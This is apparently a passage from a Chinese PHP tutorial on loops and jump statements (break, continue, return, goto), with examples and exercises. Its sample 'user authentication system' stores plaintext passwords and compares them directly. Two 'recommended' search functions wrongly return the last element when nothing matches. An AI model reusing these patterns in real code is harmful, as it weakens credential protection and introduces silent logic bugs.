// 2. 配置文件处理
echo "<br><br>=== 配置文件处理 ===<br>";
$config = [
    'database' => [
        'host' => 'localhost',
        'port' => 3306,
        'username' => 'admin'
    ],
    'app' => [
        'name' => 'MyApp',
        'version' => '1.0.0',
        'debug' => true
    ]
];

foreach ($config as $section => $settings) {
    echo "配置段: [$section]<br>";
    if (is_array($settings)) {
        foreach ($settings as $key => $value) {
            echo "  $key: $value<br>";
        }
    } else {
        echo "  $settings<br>";
    }
    echo "<br>";
}
?>

循环控制

break 语句

break 用于立即跳出当前循环:

<?php
// break 示例
echo "=== break 语句示例 ===<br>";

for ($i = 1; $i <= 10; $i++) {
    if ($i === 6) {
        echo "遇到 $i,跳出循环<br>";
        break;
    }
    echo "$i ";
}
// 输出: 1 2 3 4 5

// 查找数组中的特定元素
echo "<br><br>=== 查找特定元素 ===<br>";
$numbers = [10, 23, 45, 67, 89, 12, 34];
$target = 67;
$foundIndex = -1;

foreach ($numbers as $index => $number) {
    echo "检查索引 $index: 值 $number<br>";
    if ($number === $target) {
        $foundIndex = $index;
        echo "找到目标值 $target 在索引 $index,停止搜索<br>";
        break;
    }
}

if ($foundIndex !== -1) {
    echo "目标值 $target 的位置: $foundIndex<br>";
} else {
    echo "未找到目标值 $target<br>";
}
?>

continue 语句

continue 用于跳过当前循环的剩余代码,开始下一次循环:

<?php
// continue 示例
echo "=== continue 语句示例 ===<br>";

for ($i = 1; $i <= 10; $i++) {
    if ($i % 2 === 0) {
        continue; // 跳过偶数
    }
    echo "$i "; // 只输出奇数
}
// 输出: 1 3 5 7 9

// 过滤数组中的空值
echo "<br><br>=== 过滤空值 ===<br>";
$data = ['apple', '', 'banana', null, 'cherry', false, 'date'];
$filteredData = [];

foreach ($data as $index => $value) {
    if (empty($value)) {
        echo "索引 $index: 空值,跳过<br>";
        continue;
    }
    $filteredData[] = $value;
    echo "索引 $index: 保留值 '$value'<br>";
}

echo "<br>过滤后的数组: " . implode(', ', $filteredData) . "<br>";
?>

循环最佳实践

1. 选择合适的循环类型

<?php
// 什么时候使用哪种循环

// ✅ 推荐:已知循环次数使用 for
echo "=== 使用 for 循环的情况 ===<br>";
for ($i = 0; $i < 10; $i++) {
    echo "处理第 " . ($i + 1) . " 个项目<br>";
}

// ✅ 推荐:未知循环次数,只知道条件使用 while
echo "<br>=== 使用 while 循环的情况 ===<br>";
$remaining = 100;
while ($remaining > 0) {
    $consumed = rand(10, 30);
    $remaining = max(0, $remaining - $consumed);
    echo "消耗 $consumed,剩余 $remaining<br>";
}

// ✅ 推荐:必须至少执行一次使用 do-while
echo "<br>=== 使用 do-while 循环的情况 ===<br>";
$temperature = 25;
do {
    echo "当前温度: $temperature°C<br>";
    $temperature += rand(-2, 3);
} while ($temperature < 30);

// ✅ 推荐:数组遍历使用 foreach
echo "<br>=== 使用 foreach 循环的情况 ===<br>";
$users = ['Alice', 'Bob', 'Charlie'];
foreach ($users as $index => $user) {
    echo "用户 " . ($index + 1) . ": $user<br>";
}
?>

2. 性能优化建议

<?php
// 循环性能优化

// ✅ 推荐:将函数调用结果缓存到变量
echo "=== 性能优化示例 ===<br>";
$array = range(1, 1000);

// 优化前:每次循环都调用 count()
$start = microtime(true);
for ($i = 0; $i < count($array); $i++) {
    // 处理数组元素
}
$slowTime = microtime(true) - $start;

// 优化后:缓存 count() 结果
$start = microtime(true);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
    // 处理数组元素
}
$fastTime = microtime(true) - $start;

echo "优化前时间: " . number_format($slowTime * 1000, 4) . "ms<br>";
echo "优化后时间: " . number_format($fastTime * 1000, 4) . "ms<br>";
?>

常见错误和解决方案

1. 无限循环

<?php
// 常见的无限循环问题

// ❌ 错误:忘记更新循环变量
// $i = 0;
// while ($i < 10) {
//     echo $i; // $i 永远不会增加,无限循环
// }

// ✅ 正确:记得更新循环变量
$i = 0;
while ($i < 10) {
    echo $i . " ";
    $i++; // 更新循环变量
}
?>

2. foreach 中的引用问题

<?php
// foreach 引用问题

$array = [1, 2, 3, 4, 5];

// ✅ 正确:使用引用后及时解除
foreach ($array as &$value) {
    $value = $value * 2;
}
unset($value); // 解除引用

echo "处理后的数组: " . implode(', ', $array) . "<br>";
?>

练习题

基础练习

  1. 数字求和

    <?php
    // 练习:计算1到100的和
    $sum = 0;
    
    // 使用 for 循环计算1到100的和
    for ($i = 1; $i <= 100; $i++) {
        $sum += $i;
    }
    
    echo "1到100的和是: $sum";
    ?>
    
  2. 数组元素遍历

    <?php
    // 练习:遍历数组并计算平均值
    $numbers = [85, 92, 78, 95, 88, 76, 89, 94];
    $total = 0;
    
    foreach ($numbers as $score) {
        $total += $score;
    }
    $average = $total / count($numbers);
    
    echo "平均分: " . round($average, 2);
    ?>
    
  3. 九九乘法表

    <?php
    // 练习:使用嵌套循环生成九九乘法表
    echo "<table border='1'>";
    
    for ($i = 1; $i <= 9; $i++) {
        echo "<tr>";
        for ($j = 1; $j <= 9; $j++) {
            $product = $i * $j;
            echo "<td>$i × $j = $product</td>";
        }
        echo "</tr>";
    }
    
    echo "</table>";
    ?>
    

进阶练习

  1. 质数生成器

    <?php
    // 练习:生成指定范围内的所有质数
    function generatePrimes($start, $end) {
        $primes = [];
    
        for ($number = $start; $number <= $end; $number++) {
            if ($number < 2) continue;
    
            $isPrime = true;
            for ($divisor = 2; $divisor * $divisor <= $number; $divisor++) {
                if ($number % $divisor == 0) {
                    $isPrime = false;
                    break;
                }
            }
    
            if ($isPrime) {
                $primes[] = $number;
            }
        }
    
        return $primes;
    }
    
    $primes = generatePrimes(1, 100);
    echo "1-100之间的质数: " . implode(', ', $primes);
    ?>
    
  2. 斐波那契数列

    <?php
    // 练习:生成斐波那契数列
    function fibonacci($n) {
        $sequence = [0, 1];
    
        for ($i = 2; $i < $n; $i++) {
            $sequence[$i] = $sequence[$i-1] + $sequence[$i-2];
        }
    
        return $sequence;
    }
    
    $fib = fibonacci(10);
    echo "斐波那契数列: " . implode(', ', $fib);
    ?>
    

总结

循环语句是PHP编程中最重要的控制结构之一,掌握好循环对于编写高效、简洁的代码至关重要。以下是关键要点:

核心概念

  1. for 循环:适用于已知循环次数的场景
  2. while 循环:适用于条件控制的场景
  3. do-while 循环:至少执行一次的后测试循环
  4. foreach 循环:专门用于数组遍历

选择建议

  • 固定次数:使用 for 循环
  • 条件控制:使用 while 循环
  • 至少一次:使用 do-while 循环
  • 数组遍历:使用 foreach 循环

最佳实践

  1. 选择合适的循环类型
  2. 避免无限循环
  3. 注意循环性能优化
  4. 使用有意义的变量名
  5. 及时解除引用
  6. 为复杂循环添加注释

常见陷阱

  1. 忘记更新循环变量导致无限循环
  2. 在循环中修改数组结构
  3. foreach 中的引用问题
  4. 循环变量的作用域问题

通过大量的练习和实际应用,您将能够熟练运用各种循环结构来解决复杂的编程问题。循环是程序设计中最重要的概念之一,掌握好它将大大提高您的编程能力。

跳转语句

概述

跳转语句用于改变程序的正常执行流程,让程序能够从一个位置跳转到另一个位置。PHP提供了多种跳转语句来控制程序的执行流向:

  • break - 跳出当前循环或 switch 结构
  • continue - 跳过当前循环的剩余部分,进入下一次循环
  • return - 从函数中返回值并退出函数
  • goto - 无条件跳转到程序中的指定标签

break 语句

基本语法

break [层数];

语法说明

  • 基本用法:立即终止并跳出当前的循环或 switch 结构
  • 指定层数:可以指定跳出的嵌套循环层数(可选参数)
  • 适用场景:找到目标后提前退出循环、错误处理、条件满足时停止执行

基础示例

<?php
// 基础 break 示例
echo "=== 基础 break 示例 ===<br>";

for ($i = 1; $i <= 10; $i++) {
    if ($i === 6) {
        echo "遇到 $i,使用 break 跳出循环<br>";
        break;
    }
    echo "$i ";
}
// 输出: 1 2 3 4 5

echo "<br><br>=== 数组搜索示例 ===<br>";
$numbers = [10, 25, 30, 45, 60, 75, 80, 95];
$target = 60;
$found = false;

foreach ($numbers as $index => $number) {
    echo "检查索引 $index: 值 $number<br>";

    if ($number === $target) {
        echo "✅ 找到目标值 $target 在索引 $index<br>";
        $found = true;
        break;
    }
}

if (!$found) {
    echo "❌ 未找到目标值 $target<br>";
}

// 在 switch 中使用 break
echo "<br><br>=== switch 中的 break ===<br>";
$grade = 'B';

switch ($grade) {
    case 'A':
        echo "优秀 (90-100分)<br>";
        break;
    case 'B':
        echo "良好 (80-89分)<br>";
        break;
    case 'C':
        echo "中等 (70-79分)<br>";
        break;
    case 'D':
        echo "及格 (60-69分)<br>";
        break;
    case 'F':
        echo "不及格 (0-59分)<br>";
        break;
    default:
        echo "无效的成绩等级<br>";
        break;
}
?>

嵌套循环中的 break

<?php
// 嵌套循环中的 break 控制
echo "=== 嵌套循环示例 ===<br>";

// 二维数组搜索
$matrix = [
    [1, 2, 3, 4],
    [5, 6, 7, 8],
    [9, 10, 11, 12],
    [13, 14, 15, 16]
];

$target = 11;
$found = false;

echo "在矩阵中查找 $target:<br>";

foreach ($matrix as $rowIndex => $row) {
    echo "检查第 " . ($rowIndex + 1) . " 行<br>";

    foreach ($row as $colIndex => $value) {
        echo "  位置 [$rowIndex][$colIndex]: $value<br>";

        if ($value === $target) {
            echo "  ✓ 找到 $target 在位置 [$rowIndex][$colIndex]<br>";
            $found = true;
            break 2; // 跳出两层循环
        }
    }

    if (!$found) {
        echo "  这行没有找到,继续下一行<br>";
    }
}

if (!$found) {
    echo "未找到目标值 $target<br>";
}
?>

continue 语句

基本语法

continue [层数];

语法说明

  • 基本用法:跳过当前循环的剩余代码,直接进入下一次循环
  • 指定层数:可以指定跳过的嵌套循环层数(可选参数)
  • 适用场景:过滤不需要处理的数据、跳过特定条件、提高循环效率

基础示例

<?php
// 基础 continue 示例
echo "=== 基础 continue 示例 ===<br>";

for ($i = 1; $i <= 10; $i++) {
    if ($i % 2 === 0) {
        continue; // 跳过偶数
    }
    echo "$i "; // 只输出奇数
}
// 输出: 1 3 5 7 9

echo "<br><br>=== 数组过滤示例 ===<br>";
$data = [1, 2, 0, 3, null, 4, false, 5, '', 6];
$filteredData = [];

foreach ($data as $index => $value) {
    echo "索引 $index: ";

    if ($value === null || $value === false) {
        echo "跳过 null/false 值<br>";
        continue;
    }

    if ($value === 0 || $value === '') {
        echo "跳过 0/空字符串<br>";
        continue;
    }

    echo "保留值 $value<br>";
    $filteredData[] = $value;
}

echo "<br>过滤后的数组: " . implode(', ', $filteredData) . "<br>";

// 处理学生成绩
echo "<br><br>=== 学生成绩处理 ===<br>";
$students = [
    ['name' => '张三', 'score' => 85, 'active' => true],
    ['name' => '李四', 'score' => null, 'active' => true],
    ['name' => '王五', 'score' => 92, 'active' => false],
    ['name' => '赵六', 'score' => 78, 'active' => true],
    ['name' => '钱七', 'score' => 0, 'active' => true]
];

$totalScore = 0;
$activeCount = 0;

foreach ($students as $student) {
    echo "处理学生: {$student['name']}<br>";

    if (!$student['active']) {
        echo "  跳过非活跃学生<br>";
        continue;
    }

    if ($student['score'] === null) {
        echo "  跳过无成绩学生<br>";
        continue;
    }

    $totalScore += $student['score'];
    $activeCount++;
    echo "  成绩: {$student['score']},已计入统计<br>";
}

if ($activeCount > 0) {
    $averageScore = $totalScore / $activeCount;
    echo "<br>活跃学生平均分: " . round($averageScore, 2) . "<br>";
}
?>

return 语句

基本语法

return [表达式];

语法说明

  • 基本用法:从函数中返回并终止函数执行
  • 返回值:可以返回任意类型的值,包括数组、对象等
  • 提前退出:可以在函数的任何位置使用,提前退出函数
  • 全局作用域:在全局作用域中使用 return 会终止脚本执行

基础示例

<?php
// 基础 return 示例
echo "=== 基础 return 示例 ===<br>";

function calculateSum($a, $b) {
    $sum = $a + $b;
    echo "计算 $a + $b = $sum<br>";
    return $sum;
    echo "这行不会执行<br>";
}

$result = calculateSum(10, 20);
echo "函数返回值: $result<br>";

// 条件返回
echo "<br>=== 条件返回示例 ===<br>";

function getGradeMessage($score) {
    if ($score < 0 || $score > 100) {
        echo "分数无效<br>";
        return "分数必须在0-100之间";
    }

    if ($score >= 90) {
        return "优秀";
    } elseif ($score >= 80) {
        return "良好";
    } elseif ($score >= 70) {
        return "中等";
    } elseif ($score >= 60) {
        return "及格";
    } else {
        return "不及格";
    }
}

$testScores = [95, 85, 75, 65, 45, -5];

foreach ($testScores as $score) {
    $message = getGradeMessage($score);
    echo "分数 $score: $message<br>";
}
?>

goto 语句

基本语法

goto 标签名;
// ... 其他代码
标签名:
// 要跳转到的代码位置

语法说明

  • 无条件跳转:直接跳转到程序中指定的标签位置
  • 标签定义:标签名后跟冒号,如 label:
  • 使用限制:不能跳入循环、函数或类中
  • 注意事项:goto 语句会降低代码可读性,应谨慎使用

基础示例

<?php
// 基础 goto 示例
echo "=== 基础 goto 示例 ===<br>";

for ($i = 0; $i < 10; $i++) {
    echo "i = $i<br>";

    if ($i === 5) {
        echo "跳转到 end 标签<br>";
        goto end;
    }
}

end:
echo "程序结束<br>";

// 在错误处理中使用 goto
echo "<br><br>=== 错误处理示例 ===<br>";

function processFile($filename) {
    echo "开始处理文件: $filename<br>";

    // 模拟各种可能的错误
    if ($filename === 'not_found.txt') {
        echo "❌ 文件不存在<br>";
        goto cleanup;
    }

    if ($filename === 'permission_denied.txt') {
        echo "❌ 没有权限访问文件<br>";
        goto cleanup;
    }

    // 正常处理文件
    echo "✅ 文件处理成功<br>";
    return true;

    cleanup:
    echo "清理资源<br>";
    echo "关闭文件句柄<br>";
    echo "释放内存<br>";
    return false;
}

processFile('permission_denied.txt');
processFile('normal_file.txt');
?>

实际应用示例

1. 用户认证系统

<?php
// 完整的用户认证系统
echo "=== 用户认证系统 ===<br>";

function authenticateUser($username, $password) {
    // 模拟用户数据库
    $users = [
        'admin' => ['password' => 'admin123', 'role' => 'admin', 'status' => 'active'],
        'user1' => ['password' => 'user123', 'role' => 'user', 'status' => 'active'],
        'user2' => ['password' => 'user456', 'role' => 'user', 'status' => 'inactive']
    ];

    // 检查用户名
    if (!isset($users[$username])) {
        echo "❌ 用户名不存在<br>";
        return ['success' => false, 'message' => '用户名或密码错误'];
    }

    $user = $users[$username];

    // 检查账号状态
    if ($user['status'] !== 'active') {
        echo "❌ 账号已被禁用<br>";
        return ['success' => false, 'message' => '账号已被禁用'];
    }

    // 检查密码
    if ($user['password'] !== $password) {
        echo "❌ 密码错误<br>";
        return ['success' => false, 'message' => '用户名或密码错误'];
    }

    // 认证成功
    echo "✅ 认证成功<br>";
    return [
        'success' => true,
        'user' => [
            'username' => $username,
            'role' => $user['role'],
            'login_time' => date('Y-m-d H:i:s')
        ]
    ];
}

// 测试认证
$authResult = authenticateUser('user1', 'user123');
if ($authResult['success']) {
    echo "欢迎 {$authResult['user']['username']}!<br>";
    echo "角色: {$authResult['user']['role']}<br>";
    echo "登录时间: {$authResult['user']['login_time']}<br>";
} else {
    echo "登录失败: {$authResult['message']}<br>";
}
?>

2. 数据处理系统

<?php
// 数据处理和验证系统
echo "<br><br>=== 数据处理系统 ===<br>";

function processSalesData($salesRecords) {
    $validRecords = [];
    $invalidRecords = [];
    $totalRevenue = 0;

    foreach ($salesRecords as $index => $record) {
        echo "处理记录 $index: <br>";

        // 验证必需字段
        $requiredFields = ['product_id', 'quantity', 'price'];
        foreach ($requiredFields as $field) {
            if (!isset($record[$field]) || $record[$field] === null) {
                echo "  ❌ 缺少字段: $field<br>";
                $invalidRecords[] = ['index' => $index, 'reason' => "缺少字段: $field"];
                continue 2; // 跳到下一条记录
            }
        }

        // 验证数据有效性
        if ($record['quantity'] <= 0) {
            echo "  ❌ 数量必须大于0<br>";
            $invalidRecords[] = ['index' => $index, 'reason' => '数量无效'];
            continue;
        }

        if ($record['price'] <= 0) {
            echo "  ❌ 价格必须大于0<br>";
            $invalidRecords[] = ['index' => $index, 'reason' => '价格无效'];
            continue;
        }

        // 处理有效记录
        $revenue = $record['quantity'] * $record['price'];
        $totalRevenue += $revenue;
        $record['revenue'] = $revenue;
        $validRecords[] = $record;

        echo "  ✅ 有效记录,收入: ¥$revenue<br>";
    }

    return [
        'valid_records' => $validRecords,
        'invalid_records' => $invalidRecords,
        'total_revenue' => $totalRevenue,
        'summary' => [
            'total_processed' => count($salesRecords),
            'valid_count' => count($validRecords),
            'invalid_count' => count($invalidRecords)
        ]
    ];
}

// 测试数据处理
$salesData = [
    ['product_id' => 1, 'quantity' => 2, 'price' => 99.99],
    ['product_id' => 2, 'quantity' => -1, 'price' => 149.99], // 无效数量
    ['product_id' => 3, 'quantity' => 1, 'price' => 0],      // 无效价格
    ['product_id' => null, 'quantity' => 3, 'price' => 79.99], // 缺少产品ID
    ['product_id' => 4, 'quantity' => 1, 'price' => 199.99]   // 有效
];

$result = processSalesData($salesData);

echo "<br>处理结果摘要:<br>";
echo "总记录数: {$result['summary']['total_processed']}<br>";
echo "有效记录: {$result['summary']['valid_count']} 条<br>";
echo "无效记录: {$result['summary']['invalid_count']} 条<br>";
echo "总收入: ¥" . number_format($result['total_revenue'], 2) . "<br>";
?>

3. 资源管理系统

<?php
// 使用 goto 进行资源管理
echo "<br><br>=== 资源管理系统 ===<br>";

function processMultipleResources() {
    $dbConnection = null;
    $fileHandle = null;
    $cacheConnection = null;

    echo "开始获取资源...<br>";

    // 获取数据库连接
    $dbConnection = true; // 模拟成功连接
    if (!$dbConnection) {
        echo "❌ 无法连接数据库<br>";
        goto cleanup;
    }
    echo "✅ 数据库连接成功<br>";

    // 打开文件
    $fileHandle = true; // 模拟成功打开文件
    if (!$fileHandle) {
        echo "❌ 无法打开文件<br>";
        goto cleanup;
    }
    echo "✅ 文件打开成功<br>";

    // 连接缓存
    $cacheConnection = false; // 模拟缓存连接失败
    if (!$cacheConnection) {
        echo "❌ 无法连接缓存<br>";
        goto cleanup;
    }
    echo "✅ 缓存连接成功<br>";

    // 所有资源获取成功,开始处理
    echo "🔄 开始处理数据...<br>";
    // 执行业务逻辑
    echo "✅ 数据处理完成<br>";

    cleanup:
    echo "🧹 开始清理资源...<br>";

    if ($cacheConnection) {
        echo "  - 关闭缓存连接<br>";
        // 实际代码中: $cacheConnection->close();
    }

    if ($fileHandle) {
        echo "  - 关闭文件句柄<br>";
        // 实际代码中: fclose($fileHandle);
    }

    if ($dbConnection) {
        echo "  - 关闭数据库连接<br>";
        // 实际代码中: $dbConnection->close();
    }

    echo "✅ 资源清理完成<br>";

    return $dbConnection && $fileHandle && $cacheConnection;
}

$success = processMultipleResources();
echo "处理结果: " . ($success ? '成功' : '部分成功') . "<br>";
?>

最佳实践

1. 选择合适的跳转语句

<?php
// 跳转语句的选择指南
echo "=== 跳转语句选择指南 ===<br>";

// ✅ 推荐:使用 break 提前退出搜索
function findUserById($users, $targetId) {
    foreach ($users as $index => $user) {
        if ($user['id'] === $targetId) {
            echo "找到用户 ID $targetId<br>";
            break; // 找到后立即退出,提高效率
        }
    }
    return $user ?? null;
}

// ✅ 推荐:使用 continue 过滤无效数据
function processValidOrders($orders) {
    $validOrders = [];
    foreach ($orders as $order) {
        if ($order['status'] !== 'active') {
            continue; // 跳过非活跃订单
        }
        if ($order['total'] <= 0) {
            continue; // 跳过无效金额
        }
        $validOrders[] = $order;
    }
    return $validOrders;
}

// ✅ 推荐:使用 return 进行错误处理
function divide($a, $b) {
    if (!is_numeric($a) || !is_numeric($b)) {
        return ['success' => false, 'message' => '参数必须是数字'];
    }
    if ($b == 0) {
        return ['success' => false, 'message' => '除数不能为零'];
    }
    return ['success' => true, 'result' => $a / $b];
}

// ⚠️ 谨慎使用:goto 只在复杂的资源清理场景中使用
function complexResourceAllocation() {
    $resource1 = null;
    $resource2 = null;
    $resource3 = null;

    // 获取资源的复杂逻辑...
    if (!($resource1 = allocateResource1())) {
        goto cleanup;
    }
    if (!($resource2 = allocateResource2())) {
        goto cleanup;
    }
    if (!($resource3 = allocateResource3())) {
        goto cleanup;
    }

    // 使用资源...
    $result = processDataWithResources($resource1, $resource2, $resource3);

    cleanup:
    // 统一的清理代码
    if ($resource3) freeResource3($resource3);
    if ($resource2) freeResource2($resource2);
    if ($resource1) freeResource1($resource1);

    return $result ?? false;
}
?>

2. 性能优化建议

<?php
// 跳转语句的性能优化
echo "=== 性能优化示例 ===<br>";

// ✅ 推荐:使用 break 减少不必要的循环
function optimizedSearch($array, $target) {
    $count = count($array);
    for ($i = 0; $i < $count; $i++) {
        if ($array[$i] === $target) {
            break; // 找到后立即退出
        }
    }
    return $i < $count; // 返回是否找到
}

// ✅ 推荐:使用 continue 避免深层嵌套
function processItemsOptimized($items) {
    $processed = [];
    foreach ($items as $item) {
        // 使用 continue 代替深层嵌套的 if-else
        if (!$item['active']) continue;
        if ($item['price'] <= 0) continue;
        if (!$item['stock']) continue;

        // 处理有效项目
        $processed[] = $item;
    }
    return $processed;
}

// ✅ 推荐:使用早期返回简化函数逻辑
function validateUserInput($input) {
    // 早期返回,避免深层嵌套
    if (empty($input)) {
        return ['valid' => false, 'message' => '输入不能为空'];
    }

    if (strlen($input) < 3) {
        return ['valid' => false, 'message' => '输入长度不能少于3个字符'];
    }

    if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
        return ['valid' => false, 'message' => '输入只能包含字母、数字和下划线'];
    }

    return ['valid' => true, 'message' => '输入有效'];
}
?>

3. 代码可读性

<?php
// 提高跳转语句的可读性
echo "=== 代码可读性示例 ===<br>";

// ✅ 推荐:为跳转点添加清晰的注释
function findProductInCategory($products, $category, $targetId) {
    foreach ($products as $index => $product) {
        echo "检查产品: {$product['name']}<br>";

        // 跳过不属于指定分类的产品
        if ($product['category'] !== $category) {
            continue; // 继续检查下一个产品
        }

        // 找到目标产品
        if ($product['id'] === $targetId) {
            echo "✅ 找到目标产品<br>";
            break; // 退出搜索循环
        }
    }

    return $product ?? null;
}

// ✅ 推荐:使用有意义的条件判断
function processUserApplications($applications) {
    $approved = [];
    $rejected = [];

    foreach ($applications as $app) {
        // 使用清晰的布尔表达式
        $isComplete = isset($app['name']) && isset($app['email']) && isset($app['resume']);
        $isValidEmail = filter_var($app['email'], FILTER_VALIDATE_EMAIL);
        $hasExperience = isset($app['experience']) && $app['experience'] > 0;

        if (!$isComplete) {
            $rejected[] = ['app' => $app, 'reason' => '资料不完整'];
            continue;
        }

        if (!$isValidEmail) {
            $rejected[] = ['app' => $app, 'reason' => '邮箱格式无效'];
            continue;
        }

        if (!$hasExperience) {
            $rejected[] = ['app' => $app, 'reason' => '无工作经验'];
            continue;
        }

        $approved[] = $app;
    }

    return ['approved' => $approved, 'rejected' => $rejected];
}
?>

常见错误和解决方案

1. break 和 continue 的常见错误

<?php
// 常见错误示例和解决方案
echo "=== 常见错误示例 ===<br>";

// ❌ 错误:在非循环结构中使用 break
echo "1. 错误:在非循环结构中使用 break<br>";
/*
if ($condition) {
    break; // 错误:不能在 if 中使用 break
}
*/

// ✅ 正确:在循环结构中使用 break
echo "✅ 正确:在循环结构中使用 break<br>";
foreach ([1, 2, 3, 4, 5] as $value) {
    if ($value === 3) {
        break; // 正确:在 foreach 中使用 break
    }
    echo $value . " ";
}
echo "<br>";

// ❌ 错误:break/continue 的层数参数错误
echo "2. 错误:层数参数错误<br>";
function nestedLoopError() {
    for ($i = 0; $i < 3; $i++) {
        for ($j = 0; $j < 3; $j++) {
            // continue 3; // 错误:只有两层循环,不能跳过3层
            // break 5;   // 错误:只有两层循环,不能跳出5层
        }
    }
}

// ✅ 正确:使用正确的层数
echo "✅ 正确:使用正确的层数<br>";
function nestedLoopCorrect() {
    for ($i = 0; $i < 3; $i++) {
        for ($j = 0; $j < 3; $j++) {
            if ($i === 1 && $j === 1) {
                echo "跳出两层循环<br>";
                break 2; // 正确:跳出两层循环
            }
        }
    }
}
nestedLoopCorrect();

// ❌ 错误:忘记 return 导致继续执行
echo "<br>3. 错误:忘记 return<br>";
function badFunction($value) {
    if ($value < 0) {
        echo "值不能为负数<br>";
        // 忘记 return,函数会继续执行
    }
    echo "处理值: $value<br>"; // 即使 value < 0 也会执行
}

// ✅ 正确:及时使用 return
echo "✅ 正确:及时使用 return<br>";
function goodFunction($value) {
    if ($value < 0) {
        echo "值不能为负数<br>";
        return; // 立即退出函数
    }
    echo "处理值: $value<br>";
}

echo "测试错误函数:<br>";
badFunction(-5);
echo "测试正确函数:<br>";
goodFunction(-5);
?>

2. goto 的使用限制

<?php
// goto 的使用限制
echo "=== goto 的使用限制 ===<br>";

// ❌ 错误:不能跳入循环中
echo "1. 不能跳入循环中<br>";
/*
goto loop_inside; // 这会导致错误
for ($i = 0; $i < 3; $i++) {
    loop_inside:
    echo "在循环中<br>";
}
*/

// ❌ 错误:不能跳出函数
echo "2. 不能跳出函数<br>";
/*
function testFunction() {
    echo "在函数中<br>";
    goto outside_function; // 这会导致错误
}
outside_function:
echo "在函数外<br>";
*/

// ❌ 错误:不能跳入类中
echo "3. 不能跳入类中<br>";
/*
goto inside_class; // 这会导致错误
class TestClass {
    inside_class:
    public $property = 'value';
}
*/

// ✅ 正确:goto 的正确使用
echo "✅ 正确:goto 的正确使用<br>";
function properGotoUsage() {
    echo "开始处理<br>";

    for ($i = 0; $i < 5; $i++) {
        echo "循环 $i<br>";
        if ($i === 2) {
            goto end_loop;
        }
    }

    end_loop:
    echo "跳转到这里<br>";
    echo "结束处理<br>";
}

properGotoUsage();
?>

练习题

基础练习

  1. 搜索和跳出

    <?php
    // 练习:在数组中搜索特定值并使用 break 退出
    $numbers = [10, 23, 45, 67, 89, 12, 34, 56, 78, 90];
    $targets = [67, 100, 34];
    
    foreach ($targets as $target) {
        echo "搜索 $target: ";
    
        // 请完成代码,使用 break 找到目标后退出
        foreach ($numbers as $index => $number) {
            if ($number === $target) {
                echo "找到,位置: $index<br>";
                break;
            }
            if ($index === count($numbers) - 1) {
                echo "未找到<br>";
            }
        }
    }
    ?>
    
  2. 数据过滤

    <?php
    // 练习:使用 continue 过滤无效数据
    $data = [
        ['name' => 'A', 'value' => 10, 'active' => true],
        ['name' => 'B', 'value' => null, 'active' => true],
        ['name' => 'C', 'value' => 20, 'active' => false],
        ['name' => 'D', 'value' => 30, 'active' => true]
    ];
    
    echo "处理数据:<br>";
    foreach ($data as $item) {
        // 使用 continue 跳过无效数据
        if (!$item['active']) {
            echo "跳过非活跃项目: {$item['name']}<br>";
            continue;
        }
    
        if ($item['value'] === null) {
            echo "跳过空值项目: {$item['name']}<br>";
            continue;
        }
    
        echo "处理有效项目: {$item['name']}, 值: {$item['value']}<br>";
    }
    ?>
    
  3. 函数返回值

    <?php
    // 练习:实现一个验证函数,根据不同情况返回不同结果
    function validateInput($input) {
        if (empty($input)) {
            return ['valid' => false, 'message' => '输入不能为空'];
        }
    
        if (strlen($input) < 3) {
            return ['valid' => false, 'message' => '输入长度不能少于3个字符'];
        }
    
        if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
            return ['valid' => false, 'message' => '输入只能包含字母、数字和下划线'];
        }
    
        return ['valid' => true, 'message' => '输入有效'];
    }
    
    // 测试函数
    $testInputs = ['', 'ab', 'valid_input', 'invalid-input'];
    foreach ($testInputs as $input) {
        $result = validateInput($input);
        echo "输入 '$input': {$result['message']}<br>";
    }
    ?>
    

进阶练习

  1. 复杂搜索算法

    <?php
    // 练习:实现二维数组搜索,支持提前退出
    function searchInMatrix($matrix, $target) {
        foreach ($matrix as $rowIndex => $row) {
            foreach ($row as $colIndex => $value) {
                if ($value === $target) {
                    return ['found' => true, 'row' => $rowIndex, 'col' => $colIndex];
                }
            }
        }
        return ['found' => false];
    }
    
    $matrix = [
        [1, 3, 5, 7],
        [9, 11, 13, 15],
        [17, 19, 21, 23],
        [25, 27, 29, 31]
    ];
    
    $result = searchInMatrix($matrix, 21);
    if ($result['found']) {
        echo "找到目标,位置: [{$result['row']}][{$result['col']}]<br>";
    } else {
        echo "未找到目标<br>";
    }
    ?>
    
  2. 数据处理器

    <?php
    // 练习:实现一个数据处理器,支持多种跳转控制
    class DataProcessor {
        public function processBatch($data) {
            $processed = [];
            $skipped = [];
    
            foreach ($data as $index => $item) {
                // 验证数据格式
                if (!isset($item['id']) || !isset($item['value'])) {
                    $skipped[] = ['index' => $index, 'reason' => '缺少必需字段'];
                    continue;
                }
    
                // 跳过无效数据
                if ($item['value'] <= 0) {
                    $skipped[] = ['index' => $index, 'reason' => '值必须大于0'];
                    continue;
                }
    
                // 处理有效数据
                $processed[] = [
                    'id' => $item['id'],
                    'processed_value' => $item['value'] * 2,
                    'timestamp' => date('Y-m-d H:i:s')
                ];
            }
    
            return ['processed' => $processed, 'skipped' => $skipped];
        }
    }
    
    $testData = [
        ['id' => 1, 'value' => 10],
        ['id' => 2, 'value' => -5],
        ['value' => 15], // 缺少id
        ['id' => 3, 'value' => 20],
        ['id' => 4] // 缺少value
    ];
    
    $processor = new DataProcessor();
    $result = $processor->processBatch($testData);
    
    echo "处理结果:<br>";
    echo "成功处理: " . count($result['processed']) . " 条<br>";
    echo "跳过: " . count($result['skipped']) . " 条<br>";
    ?>
    

总结

跳转语句是PHP中重要的控制结构,掌握好跳转语句对于编写高效、清晰的代码至关重要。以下是关键要点:

核心概念

  1. break:跳出循环或 switch 结构
  2. continue:跳过当前循环,进入下一次循环
  3. return:从函数中返回并退出函数
  4. goto:无条件跳转到指定标签(谨慎使用)

使用建议

  • break:用于找到目标后提前退出循环
  • continue:用于跳过不需要处理的数据
  • return:用于函数的错误处理和提前退出
  • goto:只在特定的资源管理场景中使用

最佳实践

  1. 合理使用跳转语句提高代码效率
  2. 使用早期返回减少深层嵌套
  3. 为跳转点添加清晰的注释
  4. 避免过度使用 goto 语句
  5. 注意跳转语句的性能影响

常见陷阱

  1. 在非循环结构中使用 break/continue
  2. break/continue 的层数参数错误
  3. 忘记使用 return 导致继续执行
  4. 过度使用 goto 降低代码可读性

通过大量的练习和实际应用,您将能够熟练运用各种跳转语句来优化程序的控制流程,编写出更加高效、可维护的PHP代码。

